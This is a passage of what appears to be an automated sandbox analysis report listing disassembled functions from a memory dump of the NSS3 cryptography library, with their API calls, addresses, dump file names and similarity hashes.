PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6D02A71A,6D02A71A,00000000), ref: 6D029FD9

Part of subcall function 6D021340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D02136A
Part of subcall function 6D021340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D02137E
Part of subcall function 6D021340: PL_ArenaGrow.NSS3(?,6CFBF599,?,00000000,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?), ref: 6D0213CF
Part of subcall function 6D021340: PR_Unlock.NSS3(?,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D02145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6D02A71A,6D02A71A,00000000), ref: 6D02A009
PR_SetError.NSS3(FFFFE013,00000000,6D02A71A,6D02A71A,00000000), ref: 6D02A045

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: df745905c6a8c710cca041911cb39864a3a12d3a653428240da3aa017e6f27c2
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 1621A1B4601207ABF7009F55DC90F3AB7A9FF85358F11C128D9298B381EB76E814CB91

Function 6D032DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D032E08

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_NewArena_Util.NSS3(00000400), ref: 6D032E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6D032E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D032E95

Part of subcall function 6D021200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFC88A4,00000000,00000000), ref: 6D021228
Part of subcall function 6D021200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6D021238
Part of subcall function 6D021200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CFC88A4,00000000,00000000), ref: 6D02124B
Part of subcall function 6D021200: PR_CallOnce.NSS3(6D122AA4,6D0212D0,00000000,00000000,00000000,?,6CFC88A4,00000000,00000000), ref: 6D02125D
Part of subcall function 6D021200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6D02126F
Part of subcall function 6D021200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6D021280
Part of subcall function 6D021200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6D02128E
Part of subcall function 6D021200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6D02129A
Part of subcall function 6D021200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6D0212A1

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: dd0acbf8b3b01f46d280f16c6d609f665118d305715cd2d7c3ea19d555e2fd2d
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 6021C2B5D143664BF710CF649D41B6A36A4AFA1708F134269EE085B242F7B2A69483D2

Function 6CFEACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFEACC2

Part of subcall function 6CFC2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFC2F0A
Part of subcall function 6CFC2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFC2F1D

Part of subcall function 6CFC2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CFC0A1B,00000000), ref: 6CFC2AF0
Part of subcall function 6CFC2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFC2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CFEAD5E

Part of subcall function 6D0057D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CFCB41E,00000000,00000000,?,00000000,?,6CFCB41E,00000000,00000000,00000001,?), ref: 6D0057E0
Part of subcall function 6D0057D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6D005843

CERT_DestroyCertList.NSS3(?), ref: 6CFEAD36

Part of subcall function 6CFC2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CFC2F65
Part of subcall function 6CFC2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFC2F83

free.MOZGLUE(?), ref: 6CFEAD4F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 5123b2fa34bbab72e9ee429ad0a57660f8c7378b22e0338883edf29a64670bd7
Instruction ID: bbc50074c02a967272890f7888ce2f95b2ad89785e4fe625eff4170770b44f72
Opcode Fuzzy Hash: 5123b2fa34bbab72e9ee429ad0a57660f8c7378b22e0338883edf29a64670bd7
Instruction Fuzzy Hash: B621EBB1E00108ABEB11DF64D8056EFBBF4EF49218F065068D805B7610FB31AA59CBE2

Function 6D013C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D013C9E
EnterCriticalSection.KERNEL32(?), ref: 6D013CAE
PR_Unlock.NSS3(?), ref: 6D013CEA
PR_SetError.NSS3(00000000,00000000), ref: 6D013D02

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 03b03012c9b1f9e9b6e14850bede72605c416d11e53dd009ab06177195cfd100
Instruction ID: f0d5b6295599f8b94f0e92da8c464bc0440f91455aafeb295f7a1f9593a3b4b9
Opcode Fuzzy Hash: 03b03012c9b1f9e9b6e14850bede72605c416d11e53dd009ab06177195cfd100
Instruction Fuzzy Hash: DD11B175904205AFEB009F64EC49B9A3BB9EF49364F558060ED089B312E771ED90CBE1

Function 6D01ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6D01F0AD,6D01F150,?,6D01F150,?,?,?), ref: 6D01ECBA

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6D01ECD1

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6D01ED02

Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6D01ED5A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: e1598ed9b8ea50801fd4bf370e0eb48d4dde738a5f4909551616ca25be7a811e
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 5D219FB1E087429BF700CF25DD44B26B7E5BFA8348F16C21AA81CC7A61EB71E590C791

Function 6D04EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6D037FFA,?,6D039767,?,8B7874C0,0000A48E), ref: 6D04EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6D037FFA,?,6D039767,?,8B7874C0,0000A48E), ref: 6D04EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6D037FFA,?,6D039767,?,8B7874C0,0000A48E), ref: 6D04EE14

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

memcpy.VCRUNTIME140(?,?,6D039767,00000000,00000000,6D037FFA,?,6D039767,?,8B7874C0,0000A48E), ref: 6D04EE33

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 35bb42d48144caa6e5576b76952c25aa14f44239386c013e9f9d1ad7c8b18863
Instruction ID: 61c4484904e9366cbba89219d2b1ada919eb53e448df200180fd278f8f8f1773
Opcode Fuzzy Hash: 35bb42d48144caa6e5576b76952c25aa14f44239386c013e9f9d1ad7c8b18863
Instruction Fuzzy Hash: F0115AB1A04717EBFB10DEA6DC84F57B3A8BB04359F118535EE19C7240E331E4648BA2

Function 6CFCDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE06A0: TlsGetValue.KERNEL32 ref: 6CFE06C2
Part of subcall function 6CFE06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFE06D6
Part of subcall function 6CFE06A0: PR_Unlock.NSS3 ref: 6CFE06EB

CERT_NewCertList.NSS3 ref: 6CFCDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CFCDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CFCDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFCE029

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: f17437ca2819c2964a9355264880f5354399ff79d8aa6ca235115e5f7cbd8af3
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 07112B72B84207ABEB100EA95C45BAF76B8EB8035CF040538E918C7700E772C81597E3

Function 6CFE8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFE8DE7
EnterCriticalSection.KERNEL32 ref: 6CFE8DFC
PR_Unlock.NSS3 ref: 6CFE8E2D
PR_SetError.NSS3 ref: 6CFE8E49

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 33b47f63c8a45f66dacc70d3a553f13fee29997ff467e3f85cc45206e297a783
Instruction ID: 9c7458a4ce329c2e15631dbccc2260ea0396c13e86b0f0be7e6441a571739529
Opcode Fuzzy Hash: 33b47f63c8a45f66dacc70d3a553f13fee29997ff467e3f85cc45206e297a783
Instruction Fuzzy Hash: 06118CB5909A01ABD700BF78D5886AABBF4FF49354F01492ADC88D7700E770E890CBD2

Function 6D06AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6D055F17,?,?,?,?,?,?,?,?,6D05AAD4), ref: 6D06AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6D055F17,?,?,?,?,?,?,?,?,6D05AAD4), ref: 6D06ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6D05AAD4), ref: 6D06ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6D05AAD4), ref: 6D06ACDB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 6d7e3cd1005f4092c564337e8be32a7b66909cadf14287a7e1cfdca3f8ccd9f1
Instruction ID: 08a93010f6aeb69efcf7cdc3e720742e90ba87c94584d1e549670844798e2a50
Opcode Fuzzy Hash: 6d7e3cd1005f4092c564337e8be32a7b66909cadf14287a7e1cfdca3f8ccd9f1
Instruction Fuzzy Hash: 6E0171B5600B529BE750EF3AE909B53B7E8BF04665B104839D85ED3A00E735F054CBE1

Function 6CFD1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CFD1DFB

Part of subcall function 6CFC95B0: TlsGetValue.KERNEL32(00000000,?,6CFE00D2,00000000), ref: 6CFC95D2
Part of subcall function 6CFC95B0: EnterCriticalSection.KERNEL32(?,?,?,6CFE00D2,00000000), ref: 6CFC95E7
Part of subcall function 6CFC95B0: PR_Unlock.NSS3(?,?,?,?,6CFE00D2,00000000), ref: 6CFC9605

PR_EnterMonitor.NSS3 ref: 6CFD1E09

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

Part of subcall function 6CFCE190: PR_EnterMonitor.NSS3(?,?,6CFCE175), ref: 6CFCE19C
Part of subcall function 6CFCE190: PR_EnterMonitor.NSS3(6CFCE175), ref: 6CFCE1AA
Part of subcall function 6CFCE190: PR_ExitMonitor.NSS3 ref: 6CFCE208
Part of subcall function 6CFCE190: PL_HashTableRemove.NSS3(?), ref: 6CFCE219
Part of subcall function 6CFCE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFCE231
Part of subcall function 6CFCE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFCE249
Part of subcall function 6CFCE190: PR_ExitMonitor.NSS3 ref: 6CFCE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD1E37
PR_ExitMonitor.NSS3 ref: 6CFD1E4A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 097c7f2ab8f56a2338f21533253f94e725cdbfde9f2d90e8874dc619e2750a13
Instruction ID: 41ea5cb65014ea8f8d1e4471e4adcee335ff0d71023e3f91f6f6e3cc49fc8733
Opcode Fuzzy Hash: 097c7f2ab8f56a2338f21533253f94e725cdbfde9f2d90e8874dc619e2750a13
Instruction Fuzzy Hash: 0E01F772B00152A7FB005A66EC00F8777A4AB4176CF1A8130D91997A51E771F850CBD2

Function 6CFD1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CFD1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CFD1D9C
free.MOZGLUE(00000000), ref: 6CFD1DB8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 993487d535b94add743cf26cf0d733cd08aa4acd0852dd5a057a0e9bcd642dec
Instruction ID: 581e870b612e00cdece936bedc5f81d49b89ca61649262d77bfc77e5380d1e0c
Opcode Fuzzy Hash: 993487d535b94add743cf26cf0d733cd08aa4acd0852dd5a057a0e9bcd642dec
Instruction Fuzzy Hash: DEF0D6B3A4621157FF201F5A6C42B4776589F81668F1A8235EE1947B41E761F400C6E2

Function 6D06AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6D055D40,00000000,?,?,6D046AC6,6D05639C), ref: 6D06AC2D

Part of subcall function 6D00ADC0: TlsGetValue.KERNEL32(?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE10
Part of subcall function 6D00ADC0: EnterCriticalSection.KERNEL32(?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE24
Part of subcall function 6D00ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CFED079,00000000,00000001), ref: 6D00AE5A
Part of subcall function 6D00ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE6F
Part of subcall function 6D00ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE7F
Part of subcall function 6D00ADC0: TlsGetValue.KERNEL32(?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AEB1
Part of subcall function 6D00ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AEC9

PK11_FreeSymKey.NSS3(?,6D055D40,00000000,?,?,6D046AC6,6D05639C), ref: 6D06AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6D055D40,00000000,?,?,6D046AC6,6D05639C), ref: 6D06AC59
free.MOZGLUE(8CB6FF01,6D046AC6,6D05639C,?,?,?,?,?,?,?,?,?,6D055D40,00000000,?,6D05AAD4), ref: 6D06AC62

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 1e60d8337fb882d6ee0b8c96ede5b90aa91c5e651d095c0ce6451a23fc65d6f9
Instruction ID: 4ea51e777ad076e9bbe2236aa5bbd6997527bbf43cf97f5d665d90a393e98095
Opcode Fuzzy Hash: 1e60d8337fb882d6ee0b8c96ede5b90aa91c5e651d095c0ce6451a23fc65d6f9
Instruction Fuzzy Hash: 21014BB5A042119FEB00DF14E9C0F56B7E8AF44728F188069E94A8F306E735E844CBB1

Function 6D01FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFC9003,?), ref: 6D01FD91

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
